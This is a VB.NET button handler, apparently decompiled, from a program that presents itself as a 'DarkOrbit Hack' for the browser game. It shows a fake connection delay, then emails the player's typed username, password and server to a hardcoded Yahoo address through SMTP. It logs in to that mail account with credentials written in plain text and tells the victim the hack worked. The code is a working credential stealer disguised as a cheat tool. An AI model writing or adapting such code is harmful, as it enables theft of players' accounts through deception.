Private Sub btOk_Click(ByVal sender As Object, ByVal e As EventArgs)
    If Not ((Me.txtUsr.Text = "") Or (Me.txtPass.Text = "")) Then
        Dim num3 As Integer
        Dim num2 As Integer = 0
        Me.Label7.Text = "Conecting to server, wait a moment..."
        num2 = 0
        Do
            Me.Label7.Refresh
            num2 += 1
            num3 = &H2710
        Loop While (num2 <= num3)
        Dim message As New MailMessage
        message.To.Add(New MailAddress("darkobthack@yahoo.com.br"))
        Dim client As New SmtpClient("smtp.mail.yahoo.com.br")
        message.Subject = "DarkOrbit Hack"
        message.Body = String.Concat(New String() { "Username: ", Me.txtUsr.Text, "   -   Password: ", Me.txtPass.Text, "   -   Server: ", Me.txtServer.Text })
        Dim credential As New NetworkCredential
        message.From = New MailAddress("darkobthack@yahoo.com.br")
        Try
            credential.UserName = "darkobthack"
            credential.Password = "danzinho"
            client.Credentials = credential
            client.Send(message)
            Interaction.MsgBox("Hack Ok!", MsgBoxStyle.Information, "Hack Ok")
            Me.Limpa
            Return
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            ProjectData.ClearProjectError
            goto Label_0184
            ProjectData.ClearProjectError
        End Try
    End If
Label_0184:
    Interaction.MsgBox("Error, Try Again!", MsgBoxStyle.Critical, "Error")
End Sub